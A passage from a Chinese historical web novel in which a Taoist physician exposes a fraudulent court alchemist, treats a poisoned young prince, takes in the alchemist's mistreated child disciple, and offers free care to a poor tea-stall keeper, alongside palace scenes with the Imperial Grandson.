崭新的刺绣锦被、漆木彩绘的屏风、摆满了经书的书架书箱还有上好的笔墨纸砚。 床榻前甚至还有一个香炉,正散发出淡淡的香气。 檀香、合欢花、夜交藤……江酌轻轻地嗅了嗅,十分容易地分辨出了其中的成分和质地。 不得不说,都是些静心安神并且质量上乘的好东西。 只可惜对他这种在草药堆里泡大的人来说,还不如一本《太平经》有用。 太平经……三个字刚从脑海里闪过,江酌就忍不住又打了个呵欠。 虽然习医十余年,他到底也是个凡体肉身,要不是进宫的路上小憩了一会,方才给那三皇子开的方子还真不知道会写成什么样子。 搞不好真就要让陆见真来给自己收尸了。 想着想着,江酌的困意愈发浓厚。 他回身吹灭了桌案上的烛火,外袍也不脱就躺倒在床上,昏昏沉沉地闭上了眼睛。 半梦半醒间,一阵嘈杂的声响隐隐地传进了耳内。 江酌极力分辨了一会,听出了叮叮当当的法铃声、悠长又低沉的磬声,还有一个年岁不小的男人在抑扬顿挫地诵吟着什么。 这是在做法事? 可是师父不是已经去世了吗,观里已经好久…… 江酌猛地睁开眼睛,瞪着陌生的床顶看了一会,慢慢地找回了意识。 5.第五章 第五章 “金液还丹,仙华流珠。高飞云霞,翔登天丘……” 喋喋不休的吟诵声顺着半敞的窗子清晰地传进室内。 江酌困恹恹地起身下床,循着声音走到窗边。 先前天色昏暗,他又急着睡觉,并没有注意到院子正中居然有一个半人高的炼丹台。 打扰他好梦的罪魁祸首这会儿就跪坐在那炼丹台前,抑扬顿挫地念着……江酌歪头仔细听了听,又在有些久远的记忆里翻找了一下,确认是《太上外丹经》。 炼丹台两旁有八个年轻道士,各自拿着不一样的法器,正屏气凝神地听着祝祷。 在他们正前方的蒲团上,坐着个七八岁大的小道士,腿上放着个脸大的碗磬,配合着那老道士的声音,时不时地敲上一下。 几个人从头到尾没有任何的交流,配合却十分默契,明显不是第一次摆这样的阵仗。 其实若是往日,哪怕确定了这是装神弄鬼,只要没骗到自己头上江酌轻易也不会管闲事。 偏偏他们要扰人清梦。 这么想着,他伸手在窗棂上轻轻地敲了两下。 “忙着呢?!” 清冷的男声在宁静的晨间格外突兀,院里所有人都被吓了一跳,老道士专注而又虔诚的吟诵声戛然而止,沟壑纵横的一张脸上写满了惊惧和难以置信: “什么人!竟敢打扰祭炉?” “怎么还倒打一耙?”江酌倚在窗上,眉头轻挑,“难道不是我好好地睡着觉,你们莫名其妙地在这儿又敲又念吗?” “你……”老道士站起身,从上到下地将江酌扫了一遍,一脸“原来如此”地开了口,“看着面生,新入宫的吧。” 江酌单手托腮,一根手指无意识地敲了敲脸,点头:“还真是。” “那本座这次就不和你计较了,并且看在同道的份儿上,好心提醒一句。” 老道士站起身,回手指了指奉在丹坛上虽然只有一尺来高,隔着半个院子也能看出材质和做工都是上乘的丹炉,“这丹是要奉给圣上的,今日祭炉开火也是圣上应允的。在这皇城里,不管你是谁、在做什么事,都没有圣上的事紧要,明白了吗?” “原来是这样,”江酌抬眼看向那丹炉,“那我能问问……张天师是吧,这次打算炼什么丹呢?” “自然是为圣上延年益寿的仙丹,”老道士微抬下颌,“原来你知道本座?” “您的大名我才进宫就听说了,您的‘仙丹’也是赫赫有名,我还想着改天一定要讨教一下。” 江酌在窗台上轻轻撑了一下翻进院子,然后顶着满院震惊的目光利落地爬上了炼丹台,“没想到这么快就有机会了。” “什么机会?你……快给本座住手!” 张天师难以置信地看着他居然凑到丹炉跟前去掀炉盖,急得几乎原地跳了起来,“那炉里的东西本座耗时数月才备好,若是沾了浊气失了药性,就是把你这条命……” “所以大家都别轻举妄动,要是一不小心惊到我……”江酌微微偏头,“毁了这些好不容易搜集来的‘宝贝’就不好了。” 正要往炼丹台上爬的几个道士皆是一顿,手足无措地看向张天师。 张天师张了张嘴,咬牙道:“你到底要干什么?!” “说了讨教一下,”江酌笑了一声,低头朝丹炉里看去,“白澒、硫黄、黑铅……唔,还加了仙衣龙芽?” 张天师一愣:“你怎么知道本座的方子?” “天师炼丹之前都不看看医书认认药石吗?这么明显的味道随便去药铺找个学徒都能闻出来。” 江酌直起身,居高临下地看着他,“不过您老还挺博学,连用草木来伏制金石以驱其毒性的法子都知道。” “本座祖上曾获纯阳真人点化,习得制丹之法,又经世代研习,自然……” “行了,这里就你这几个徒弟,也没外人,说这些大话干什么?”江酌轻哼,“你祖上要是真获纯阳真人点化,还用你跑进皇城里坑蒙拐骗?” “胡说八道!” 张天师向前几步,到了炼丹台跟前,扬脸瞪着台上的江酌,“我知道了,你就是嫉妒本座能炼制仙丹,受圣上赏识,所以故意来这祭炉仪式上闹,想让本座炼不出仙丹,好趁机取代本座!” “取代你?我可没这闲工夫。” 江酌掩唇打了个呵欠,“说实话,要不是你们天不亮就在这折腾,我连房间都懒得出来。不过现在嘛……反正这‘仙丹’炼出来也只能害人,我姑且就做件好事。” 顶着满院子的瞩目,他伸出手轻轻地按在丹炉上。 下一刻,青铜鎏金的丹炉整个翻倒在地。 一瞬的静寂后,整个院里乱成了一团。 张天师惊叫着朝丹台上爬,在他之前,几个徒弟已经手忙脚乱地先行爬了上去,有的正试图扶起丹炉,有的试图去捡洒了一地的药粉,还有的回过神来,试图去抓早就跳下丹台的江酌。 只有小道士还呆呆地坐在蒲团上,怀里抱着那个碗磬,有些惶恐和茫然地看着眼前的一切,然后“哇”的一声哭了出来。 “这是怎么了?!” 混乱间,院门口传来一声有些尖细的惊叫。 江酌回头看了一眼,认出是昨夜送自己过来的小太监。 “內侍来得正好!” 张天师在几个徒弟的搀扶下从丹台上爬了下来,转头看见还在哭的小徒弟更是烦躁,抬脚踹了过去,“这么大了还是一点眼力见没有,是你哭的时候吗?” 小道士被踢倒在地,抽抽噎噎地住了口,勉强安静下来。 张天师这才稍微满意,回身走到小太监跟前,愤愤地指向炼丹台:“这个不知道从哪冒出来的孽障打扰祭炉仪式不说,居然还敢掀翻丹炉,本座要面见圣上,让圣上治他的罪!” “这……”小太监看了看满院的狼藉,又看了眼环着手臂站在炼丹台前,一脸事不关己的江酌,为难道,“此事奴婢会如实禀告给陛下,不过现下还有更紧要的事,天师就委屈一下等圣上召见吧。” 张天师难以置信:“还有什么事比圣上的仙丹还紧要?” 小太监没接话,有些犹豫地看向江酌。 江酌回眸看他:“三殿下醒了?” “正是,”小太监赔笑道,“贵妃让奴婢快些请您过去呢。” “好,”江酌低下头理了理袖口,又拂了拂衣摆上沾染的药粉和尘土,“反正折腾的也睡不着了。” 小太监愣了一下,扫见院里的几个道士,还有扔在地上没来得及收起来的各种法器,忙道:“是奴婢的疏忽,忘了今日有祭炉仪式,打扰了您休息, 待会就禀明圣上给您安置个更清静的住处。” “再说吧,”江酌起身向外走去,途径错愕在原地的张天师时,突然道,“还是劳烦内侍先帮我找个药童吧。” “道长肩负三殿下的安危,是该有人协助,”小太监立刻道,“圣上吩咐了,太医院的诸位大人全凭您差遣。” “都是些研墨递笔磨药煎药之类的小事儿,犯不着差遣诸位大人,找个聪明伶俐的小孩儿就行。” 江酌回头指了指捂着脸还在无声抽噎的小道士,“就他吧。” “他……”小太监跟着看了一眼,又悄悄看了看张天师愈发难看的脸色,声音低了几分,“听松小道长是张天师的爱徒,您要是想要个伶俐听话的药童,奴婢再安排人去宫外问问就是了。” 江酌摇头:“就要他。” 小太监迟疑:“可是听松小道长身上有什么慧根?” “没有,日行一善而已,不想他小小年纪就跟着个老骗子,”江酌转身迈过院门,“大的几个已经没救了。” 小太监张了张嘴,回过神后顾不上院里的其他人,快步跟了上去:“此事奴婢做不得主,还需禀明了陛下。” “明白,”江酌点头,“天都要亮了,还要给三殿下开第二副药,快走吧。” 小太监连连应声,跟着加紧了脚步。 江酌看着清瘦,却是天南地北地游历多年,一路脚步匆匆地赶到贤德宫,额间连滴汗都没有。 跟在他身后的小太监却已经气喘吁吁,一边推门带路,一边擦着前额的汗:“贵妃娘娘,江道长到了!” “快请进来!”郑贵妃坐在里间的床榻边,听见脚步声立刻转过脸,“大清早地又折腾你,实在是辛苦了。” “没事,反正我也还没来得及睡。”江酌走到床榻边,“有劳贵妃,我还要再替三殿下诊脉。” “有劳你才是,”郑贵妃赶忙起身,“我们去外间等,不在这打扰。” 一众内侍宫人还有留守的太医跟着郑贵妃一起退了出去。 狭小的内间里一时间只剩下江酌和先前那个小太监,还有病榻上羸弱的严彻。 明明也是七八岁大的孩子,和刚才那个小道童比起来,这位尊贵的皇子身上却多了一层沉沉的死气,幸而那双看起来和元成帝有些相似的眼睛里还闪着细微的光,带了专属于他这个年岁的好奇。 “三殿下,”江酌挨着床榻坐了下来,翻了翻严彻的眼皮,又看了看他的手脚,最后才轻轻地搭上脉,“可还觉得哪里难受?” 严彻眨了眨眼睛,似乎思考了一会,摇了摇头。 “那接下来可是要难受了哦,”江酌微垂眼帘,“你体内日积月累的毒素想要清除,必须要用些烈性的药,可能会上吐下泻,还会头晕头疼,也可能会抽搐不止,甚至……” “道长慎言!”小太监终于听不下去,打断道,“殿下年岁还小,不可当着他的面说这些。” “说不说他都要受着,”江酌抬起眼眸,看着严彻那双含着水光的眼睛,“害怕吗?” 严彻点了点头,迟疑了一瞬后又摇了摇头:“我不怕疼也不怕难受,我就是……不想死。” “哪儿那么容易就死了,”江酌放开手,从怀里摸出方帕子擦了擦指尖,起身走到书案前,“我又不是那些江湖骗子。” 6.第六章 第六章 夏日天长,刚过卯时天光就已大亮。 初升的太阳高悬在天际,孜孜不倦地炙烤着大地。 以及大地上的江酌。 久不回都城,他一时还是没法接受这种大早上就要被晒成人干的天气,再加上一宿不得安眠,一路从贤德宫走到宫门口,直困得睁不开眼睛。 幸好马车早早地候在了宫门外。 “江道长!” 江酌拖着困恹恹的身体迫不及待地爬上马车,还没等坐稳,就听见车外远远地传来一声轻唤。 他睁开眼睛,掀开车帘探头出去,看见先前那个小太监急匆匆地跑来。 手里还拉着那个叫做听松的小道士。 “内侍怎么来了?” 江酌等着他们跑到马车前,朝听松脸上看了一眼,不意外地看见了迷茫和惶恐,声音放轻了些,“不是说等圣上起了再去禀奏吗?” “是贵妃娘娘听说道长喜欢这孩子,便做主向张天师讨了来,”小太监笑着解释道,“娘娘还说,道长遗世独立品行高洁,定不喜金银之类的俗物,特意让人去备了些珍稀药材,晚点就送去观里。” “贵妃怕是看走了眼,”江酌懒洋洋地趴在窗上,“品行是不是高洁我不好自己评价,但是金银俗物我确定是很喜欢。” 眼瞧对方的笑容僵在了脸上,他轻轻笑了一声:“没办法嘛,我也是要穿衣吃饭的。” 小太监连忙点头:“是了,可以理解,可以理解。” “不过药材什么的当然也是很好的,劳烦替我谢谢贵妃,”江酌不带感情地道了声谢,不知想到了什么,突然一拍手,“说起来,我现下还真是要弄些金银俗物……” 他偏过头,目光停在小太监身上,“不知内侍能不能先借我点,待圣上那边结了诊费立刻就还你。” “什么诊费……”小太监张了张嘴,回过神后赶忙从怀里摸出个钱袋,奉到江酌手上,“是奴婢疏忽了。” “内侍客气,你可解了我燃眉之急呢,”江酌心满意足地收了钱袋,垂下视线看了眼低着头站在旁边的听松,“那我就先带这孩子回去了,晚些时候再来看三殿下。” “辛苦道长来回奔波,”小太监轻轻拍了拍听松的手,示意他上马车,转脸又朝着江酌道,“其实您大可就歇在皇城里,贵妃已经让人去收拾贤德宫的偏殿了,待圣上起了也一定会给您再安置个更清静的住处。” “算了,你们皇城里人多眼杂的我睡不踏实,再不小心冒犯到哪位天师就不好了。” 身后听松已经小心翼翼地爬上了马车,江酌回头看了一眼,转过脸朝小太监拱了拱手,“今日劳烦内侍了,告辞。” 小太监连忙还礼,看着马车慢慢地启动,不由自主地长舒了一口气。 谁料下一刻,马车突然又停了下来,江酌再次探头出来:“还不知道内侍的名讳呢。” 小太监愣了愣:“什么?” “欠债还钱嘛,”江酌晃了晃手里的钱袋,“我总得知道欠了谁的债。” “其实那钱……”小太监本想说那钱不用还,迎上对方的目光不知怎么又咽了回去,最后如实道,“奴婢名冯安。” “原来是冯公公。”江酌笑着点了点头,坐回了马车里。 -- “你说什么?” 辰时已过半,太孙府内却还是一片沉寂。 近几天因为元成帝抱恙停了每早的朝会,严荫之也跟着偷了懒,尤其前晚又进宫折腾了一趟,更是恨不得一觉直接睡到晌午。 然后就在睡得最香的时候被徐礼拎了起来。 “我说江酌……就是昨晚那个神医,掀了张天师的丹炉。” 见严荫之已经坐了起来,并且因为自己带来的消息恢复了清醒,徐礼满意地放开去掀被子的手,回身找了张椅子坐下,一边给自己倒茶一边道,“你不知道,给我传消息的人讲得那叫一个兴高采烈热血沸腾,听得我都有点遗憾没亲眼瞧见了。” “江酌……” 前夜那张清艳的面孔浮现在眼前,严荫之抱着被子坐了一会儿,突然笑了起来,“他干出这种事儿我竟然没觉得有多意外。” 徐礼没听清:“什么?” “没什么,”严荫之伸了伸胳膊,懒洋洋地起身下床,顺手拿过床边的外袍穿到身上,“说起来,姓张的老东西进宫之后一直被人哄着捧着,还是第一次吃这么大的亏。” “是啊,气得立刻就跑到圣上跟前告状去了。”徐礼喝了口茶,“然后就被圣上轻描淡写地打发走了。” “那老东西估计是以己度人,以为都是一样的江湖骗子,没想到人家真能救严彻的命。”说到这儿,严荫之转口问道,“严彻怎么样了?” “药喝下去没到两个时辰就醒了。” 徐礼道,“所以现在不仅是圣上对这位江道长有求必应,郑贵妃对他更是感恩戴德,让人备了许多的名贵药材送去了青云观,今天闹出这么大阵仗她也没帮张天师说一句话。” “郑家的人向来精明,感恩戴德是真,更是做给皇爷爷看的,”严荫之系好衣带,凑到铜镜前看了一眼,“看来姓张的是真要失宠了……这么说起来我也该谢谢那个江酌。” “他又不是为了你才针对张天师,”徐礼意外,“再说你不向来讨厌道士吗,因为他救了严彻就不一样了?” “我一向讨厌的是那些装神弄鬼又或者天天哄着皇爷爷炼丹的老东西,他又不是,”严荫之坐到旁边的椅上,“而且他不是江玄明的徒弟吗,我这人向来知恩图报。” “嗯?”徐礼若有所思地看了他一会,“所以你这次是打算拉拢这个江酌?” “算不上拉拢,就是觉得皇爷爷身边要是非有个道士的话,他总比那些只会搞幺蛾子的老东西合适,”严荫之摩挲着指尖,“光看那张脸都能更舒心点。” “那按你的意思,”徐礼倒了盏茶递给他,“我让人以太孙府的名义给他送份礼?” “不急,先观望一下,说不定这位江道长和先前的那些一样都站到贵妃那边了呢。”严荫之接过茶盏抿了一口,嫌弃地皱起眉,“隔夜的?茶香都散了。” “还不是你一直不起,下 人们都不敢进来,”徐礼端起茶又喝了一口,我喝着一样啊。” “你平时又不喝茶,给你盏白水一样喝不出区别。” 话虽这么说,严荫之还是捧着茶盏又喝了一大口,“这是昨天才送来的苍南白茶,我让人留了一点,你待会回去带给先生,过往他在府里的时候最喜欢喝这个。” “待会?”徐礼想了想,“找个小厮跑一趟吧,我这几天都不回去。” “怎么,”严荫之看了他一眼,“老夫人又替你相看亲事了?” “别提了,”徐礼胡乱地抹了把脸,“我有时候真不知道我娘怎么想的,大哥一把年纪了连个妻室都没有她问都不问,怎么天天就盯着我不放。” “先生四十还不到,正值壮年,”严荫之放下茶盏,“而且,换你是老夫人,敢去问先生什么时候成亲吗?” 徐礼顿了顿:“……不敢。” “那不就得了,”严荫之轻轻笑了一声,“躲是躲不掉的,我要是你晚上就带着茶叶回府,趁着先生高兴,说些类似最近公务繁重无暇回府相看亲事,惹得老夫人烦心实在不孝之类的话,先生自会帮你解决。” 徐礼沉默一会,最后还是忍不住:“……你怎么想出这种办法的?” “你以为光靠血脉我就能坐稳这皇太孙的位置?”严荫之看他,“不信?” “信自然是信的,”徐礼摸了摸鼻子,“就是日后我娘要找我算账,我肯定说是你的主意。” “好啊,”严荫之歪了歪头,“只要老夫人相信就行。” 徐礼:“……” “行了,待会赶紧回去吧,”严荫之拍了拍他的胳膊,“以后你就知道了,有人催也是好事。” “聊着聊着突然就老气横秋的。”徐礼嘴上抱怨着,看向严荫之的目光里却多了担心,“太子妃那儿,最近怎么样?” 严荫之动作微顿,语气却很平静:“前几天刚让人送了信,和以前一样都是一切安好,我也懒得再追问,反正也快到阿爹忌辰了,到时候提前几天过去,也好陪陪她。” 徐礼看了他一会儿,一时也不知道说些什么,最后低低地叹了口气:“要是太子殿下还活着就好了。” “活着能怎么样,还不是天天为了朝政劳累,最后也落不到什么好结果。”严荫之偏过头,迎上徐礼的目光,低低笑了一声,“都快三年了,用不着每次提到阿爹都这副神情。” “这不是担心你嘛。寻常还好,每年到了这一阵儿,连我都有点触景生情,”徐礼声音低了几分,“大哥那儿也是,话都更少了。” “先生跟阿爹是自小长起来的交情,算起来估计比我这个儿子还深。” 严荫之长舒了一口气,“好了,不说这些了。起都起了,我收拾收拾进宫看看三叔……唔,说不定还能碰见那位江道长呢。” 见他神色无碍,徐礼稍微放心了些,语气也跟着轻松了一点:“那你怕是碰不到了。” 严荫之挑眉:“怎么?” “那位江道长说,皇城里人多眼杂不得清净,开完第二服药就回观里休息了。” 7.第七章 第七章 “啊嚏!” 江酌刚推开房门,就被蒸腾了小半日的热意扑了满脸,忍不住打了个喷嚏。 正晌午,头顶的太阳愈发的灼热。 幸好这观虽然破落,当日修建的时候却花了不少工夫,顶着这样炎热的天气,房里也还算凉爽,让他总算好好地睡了一会儿,直到实在捱不住饿才不得不爬了起来。 观里依旧静悄悄的,仿佛没有其他人的存在。 远处的坊间倒是格外喧闹,隐隐地能听见各种吵嚷叫卖声,甚至还有卖艺杂耍的声音。 到底是都城,最破落偏远的坊都这么热闹。 也难为陆见真在这种丰盈的烟火气里还能修行。 胡思乱想间,江酌迈出房门,打算去灶房看看有没有什么能垫垫肚子。 然后就看到一大一小两道身影正坐在灶房门口的石桌前,安静地对视。 “哎,差点把你给忘了。” 江酌快走几步到了石桌前,摸了摸听松的头,“这么大的太阳,就一直在这儿坐着了?” 小道士没说话,只仰着头愣愣地和他对视,而后仿佛被吓到了一样,突然站起身,规规矩矩地行了个礼。 “你……”江酌微微睁大了眼睛,看着眼前耷拉着的小脑袋无奈地摇了摇头。 早晨回来的路上他实在倦得厉害,撑着眼皮勉强交代了句让他想干什么就干什么就睡了过去。 昏昏沉沉间也感觉得到这孩子的小心和惶恐。 却是没想到即使这样他还在努力地保持着乖巧和守规矩。 “算了,慢慢来吧。”江酌笑了一声,指了指听松身上那件为了祭炉仪式而穿的法衣,“怎么还穿这个,不热吗?” 听松低头看了一眼,摇了摇头。 “就知道是这个反应,”江酌转过脸,看向石桌另一边,“师弟……” “稍等。”陆见真站起身,朝自己房间走去。 片刻后抱着件叠得整整齐齐的衣裳出来,“我小时候的,应该合适。” “多谢,”江酌伸手接了,转向听松,“自己能换吗?” 听松眨了眨眼睛,点头。 “那边的房间,”江酌指了个方向,“去吧。” 听松伸手接了衣裳,朝他们两个各自行了一礼,而后才转身向江酌的房间走去。 留下院子里的师兄弟二人相顾沉默。 终是江酌忍不下去先开了口:“刚回来的时候你在上早课,就没过去打扰。” “嗯,”陆见真点头,声音里带了点疑惑,“哑巴?” “谁……哦,你说那孩子?会说话,应该是被管得太严,多说多错,错了就要挨打,索性能不说就不说。” 江酌坐到石桌旁,拿起上面的水壶倒了碗水,“还以为你要问我为什么不打招呼就带个孩子回来。” “不用打招呼,”陆见真道,“这观本来也不是我一人的。” “也是,你什么时候在意过这些。”江酌喝了口水,“其实我只是单纯想找他那个师父的茬,你不知道那老东西,天不亮就起来又敲又念,还说什么祖上受过纯阳真人点化……” 陆见真安静地听他说了一会,突然道:“你是想到了小时候的自己。” “嗯?”江酌看他,“我小时候怎么了?” “我先前听师父提过,”陆见真淡淡道,“当年因为战乱你与家人失散,要不是遇到他,你就要被一个装神弄鬼的江湖骗子带走了。” “你听他胡说,当年我也有十岁了哪那么容易就被骗走,而且非要说的话,当年他老人家才是更像江湖骗子的那个。” 江酌单手托着下颌,老神在在,“等你再长大点就知道了,师父的话也不用全信。” 陆见真明显对这话十分怀疑,却也不争辩,只是安静地看着他,直到江酌自己按捺不住,摸了摸鼻子转移话题:“你怎么不问问我昨天的诊看得如何?” 陆见真不解:“你平安回来,可见三皇子无碍,我为何还要问?” “……有道理。”江酌失笑。 “你要是想说自然会主动说,你要是不想……”陆见真垂眸,“其实我并不理解你为何会千里迢迢地回来掺和这种事。” 江酌微顿,而后笑了起来:“不是说了当今圣上和师父是故交。” “哦,”陆见真抬眼看他,“所以,我问了也没用。” “你……”江酌有点无奈,“也不知道师父都教了些什么东西,小小年纪就这么……” 他张了张嘴,一时找不到要用什么词来形容这个小师弟,最后长舒了一口气,“是有别的原因,我的一点私事儿,暂时还不能告诉你。” “所以我也没想问。”陆见真想了想,又道,“不是不在意你的安危。” “知道了,”江酌弯了弯眼睛,“我还不至于连这个都感觉不到。” 大抵是因为他笑得实在太过开怀,陆见真莫名有些不好意思,沉默了一下也不知道还该说些什么,最后眼不见心不烦地转开了脸。 吱嘎。 老旧的房门开启,而后又轻轻地合上。 换了衣服的听松轻手轻脚地走了出来,打破了陆见真单方面的尴尬。 “我瞧瞧。”江酌招了招手,把人唤到自己面前。 不得不说,那位张天师收徒的眼光还不错。 小道士虽然年岁不大,却也能看得出来眉眼端正,举止妥帖,脱去了那身繁重又花哨的法衣后,更有了孩子该有的稚气。 虽然眼神里还有些怯意,也依然不敢开口说话,看起来明显比方才自在了许多。 “不错,”江酌满意地点了点头,转向陆见真,“重新给你介绍一下,这是你徒弟,听松。” 陆见真波澜不惊的一张脸上出现了一丝茫然,几乎有些怀疑自己的耳朵:“我徒弟?” “我连本经书都背不下来,又不能带他修行,自然是你徒弟,”江酌懒洋洋道,“这孩子虽然先前误入歧途,但听话懂事,以后饮食起居也都跟着我,不用你操心。你乐意的话可以带他上上早课,讲讲经什么的。” 陆见真思索了一会:“我现下只想自己修行,没有收徒的打算 。” “师父当年也没有收徒的打算,不也捡了我又收了你。”江酌慢条斯理道,“不是说妙缘无修,妙行无积吗?” 陆见真愣了愣。 显然没料到自家师兄张口即是经文。 江酌十分满意看到他这样的反应,继续道:“况且我打听过了,别看他年岁小,先前一直在伺候他那个师父和那些师兄,所以会做些饭食,这样就算你师兄我有朝一日不在了,也不怕你饿死在观里没人管。” 陆见真:“……” 他看了江酌一眼,直觉那话里有深意,却又没能从那张含笑的脸上看出什么,最后只好将视线又转回到对面的小道士身上。 听松也抬起头,小心翼翼地看着他。 就这么又对视了一会,陆见真低低地叹了口气:“那就姑且算作我徒弟吧。” “乖,”江酌满意地伸出手,还没落到陆见真头上,就瞧见了对方拧起的眉头,笑着转到听松头上摸了摸,“听到了吗,从今以后他就是你师父了。” 听松张了张嘴,犹豫了一下,最后躬身行了个大礼。 “不用这么多礼,名义上的师徒而已,替师兄给你安置个归处。”陆见真垂眸看他,“师兄不在我会管你饮食起居,也会带你打坐读经,至于要不要修行,等你长大了自己选。” 听松明显不能完全理解他的话,但迎着那道认真的目光还是点了点头。 陆见真却依然不肯挪开视线,一眨不眨地看着他,一言不发。 听松被看得有些害怕,又有些迟疑,最后只好求助地看向江酌。 江酌轻笑:“你师父想确认你到底是不是哑巴。” “……” 听松咬了咬下唇,好半天,低低地带着不符合这个年纪的沙哑,轻轻开口,“师父。” “嗯。”陆见真满意点头,从石桌前起身,“时辰差不多了,我去做午饭,你跟着师兄吧。” “我正好饿了,”江酌想起前晚,“不会还吃烂面条吧?” “不会,”陆见真摇头,“三白。” 白饭,白萝卜,白盐? 江酌深吸一口气:“好歹你今天也算收徒,不然吃点别的?” 陆见真看了眼听松:“不会做。” 说完,他又思索了一下,目光转到江酌身上。 四目相对,江酌摇了摇头:“我也不会。” “我知道,”陆见真道,“我房里还有一点钱,你带他去坊里吃。” “嗯?”江酌意外,“不说修行之人不可纵口舌之欲?” “那是要求我自己的。”陆见真转身朝灶房走去,“就算真是我徒弟,他也不用和我一样。” “你倒是跟师父一模一样。”江酌站起身,懒洋洋地伸了伸胳膊,伸手将听松揽到怀里,“走吧,师伯带你去坊里。” 听松没有动,一直看着陆见真进到灶房里,才低低开口:“师父……” “以后你就习惯了,”江酌揽着他向外走去,“别看他年岁也不大,你这个师父,是这天底下最通透最清楚自己想要什么的人。” 8.第八章 第八章 坊内是一如所料的热闹和喧嚣。 不算宽敞的街巷上汇聚了大大小小的摊位和店铺,吃喝饮食、胭脂水粉、日用杂货、书画古玩不同种类一应俱全。 一路向前走,甚至还能看到几个测字解相、杂耍说书的小摊,因为过于热闹吸引了不少来往的百姓,连从出了门就一直安安静静地跟在江酌身旁的听松也不自觉地慢下了脚步,好奇地仰头向人群里张望。 “想看?”江酌敏锐地察觉到身边人的动作,轻轻笑了一声,突然伸出手将有快到自己胸口高的听松抱了起来,扛上肩头,“就一会儿啊,你师伯我实在饿得厉害。” “我……”蓦地腾空让听松惊到整个睁大了眼睛,本能地想要挣扎却又因为突然升起的高度和那双紧紧地护着自己的手而停了下来,好半天才支支吾吾地说,“我……不看。” “有热闹为什么不看?”江酌安抚地拍了拍他的小腿,“放心,不会掉下来。” 听松张了张嘴,抬眼瞧见不远处有个面摊,犹豫了一下,小声道:“我饿了,想先吃东西。” “嗯?也行,”江酌慢慢地将他放了下来,“反正就在附近,想看可以天天过来,现在还是填饱肚子要紧。” 说完,拉着突然又落了地还没回过神的小孩径直朝面摊走去。 街巷小摊上的素面自然不会有多美味,所幸量大味足,又有陆见真前夜那碗做对照,再加上江酌实在饿得厉害,满满一大碗面很快就吃了个干净。 天气依然十分炎热,太阳高高地悬在正当空。 江酌吃饱喝足,心情好了不少,也不再觉得热得烦闷,耐着性子牵着听松慢悠悠地往回走。 一路途径了许多摊位,每个他都要凑过去看上一眼,不管是吃食还是看起来没有任何用处却十分新奇的小玩意儿都要买上一份。 不多时,听松的怀里就抱满了东西,那张一直紧绷着的小脸也逐渐地放松下来,隐隐地有了笑意。 “累了吧?” 就这么走了半条街,眼看听松前额已经沁出了汗,江酌抬头四处张望了一圈,看见了前日那个茶摊。 正是晌午吃饭的时辰,街面上的百姓少了许多,茶摊上也没什么客人,前日那个老掌柜独自坐在炉灶前的小凳上,一边烧水一边打瞌睡。 江酌放轻了脚步,带着听松走进了摊子,找了处位置坐下:“掌柜!” “客官……”老掌柜睁开眼,回头看见江酌后,露出个和善的笑容,“原来是道长啊?” “您还记得我呢,”江酌点了点头,“劳烦来两碗茶,昨天那种就行。” “道长这样的长相想忘了都难,”老掌柜站起身,余光扫见旁边的听松,“这是赶路了吧,小道长热成这样,正好……” 他回身从架子上拿下个陶罐,倒了一碗卤梅水出来,送到听松手边,“早上才煮的,小道长喝点解解暑。” 虽然前一天已经见识到坊内百姓的热情善良,江酌多少还是有些意外,凑近了朝那卤梅水上看了一眼,轻轻嗅了嗅:“您这是把自己喝的拿出来了吧?” “是,家里人怕我中暑专门煮的,”老掌柜说着话,朝江酌身上扫了一眼,又想起什么似的突然补充道,“放心喝,不收钱。我就是瞧着这小道长和我外孙差不多大,看着喜欢。” “这样啊,那我们就不客气了,”江酌摸了摸听松的头,“还不谢谢掌柜?” 听松抬头看着老掌柜那张慈爱的脸,低低地开口:“谢谢掌柜。” “不客气,不客气,”老掌柜笑了起来,朝着江酌点了点头,“道长,我去给您倒茶。” 前一天实在渴得厉害,没来得及细细品味,这会重新端起茶碗江酌才发现,这摊上所谓的茶其实是些粗老的叶片还有茶梗泡水,没有什么香气,也喝不出品类,却已经是这周边的百姓在白水之外最好的选择。 三文钱一大碗,喝完可添,又可以和街坊邻居一起乘凉闲聊,也难怪前晚快要宵禁了还汇聚了那么多人。 正想着,一个货郎打扮的年轻人走进了摊子:“方叔,来碗茶!” “来了!”老掌柜端了茶碗过来,顺便帮着他卸了身上的担子,“这么喜气洋洋的,看来今天生意不错?” “可不是,今天带出来的东西都卖光了,不然也不能这么早就收摊。” 货郎接过茶碗喝了一大口,而后才长舒了一口气,找了最近的一张凳子坐了下来,“我还以为您今天不出摊了呢,不说要带方婶去仁安堂看诊吗?” “去了,也看过了,李大夫说没什么好办法,只能开些药养着,”老掌柜声音低了几分,“仁安堂的药你也知道,哪是咱们这种人家能负担得起的……这次的诊费都是攒了好久才凑齐的。” 货郎沉默了一下,伸手摸到怀里:“我这还有一些,暂时也用不上。” “你那钱不是要攒着娶媳妇的吗,”老掌柜赶忙按住他的手,“我已经跟李二说了,他再去采药的时候帮我留意些,有那方子里的就给我带一份,总比从药铺买便宜。” “那也不能就这样一味一味的凑吧。” “总归也还是有办法的,用不上你的钱!” “都是街坊住着,我总不能……” “……” 两个人你一句我一句的拉扯着,一直安静听着的江酌突然咳了一声,打断了他们:“掌柜,结账。” “哎,来了,”老掌柜回身过来,脸上勉强露出个笑容,“三文钱。” “算上昨天那碗,给您六文,”江酌从怀里摸出铜钱,放到老掌柜手中,“我待会还有些事要出去一趟,差不多傍晚会回来,到时您带着家里夫人到青云观来吧,我替她看看。” “您……”老掌柜攥着六文钱,有些茫然地回头,对上了货郎同样困惑的目光,只好自己问道,“道长真会看诊?” “会,而且肯定比您刚说的那位李大夫强,”江酌起身伸了个懒腰,“治病的药材您也不用担心,刚好今天有人送了一些,我一时用不上放着也是浪费。” 老掌柜张了张嘴:“可是……” “放心来,不收钱,”江酌道,“您虽然比我师父年轻一点,但是看起来一样的亲切和善,更何况您还请了我家孩子喝卤梅水呢,就当是回报吧。” 老掌柜还想说点什么,江酌却并不给机会,笑着摆了摆手止住了他的话,而后牵过旁边的听松径直朝 对面的巷子深处的青云观走去。 “道长……”老掌柜站在原地,怔怔地盯着那道背影。 看起来明明和前晚差不多,都是个有些落魄的道士,却不知道是这会身边多了个小道士又或者别的什么原因,好像平白又多了几分济世度人的道骨仙风。 “这人是青云观的?”旁边货郎回过神来,小声问道,“早年我是听说青云观有位老道长医术高明,时不时地会替周围的街坊看诊,不是说前两年去世了吗?” 老掌柜应了一声:“这位道长是昨天从外面来的,当时也确实背了个药箱,我只瞧着年纪不大,又是这么张脸,也没当真。” 货郎想了想:“那您去吗?” 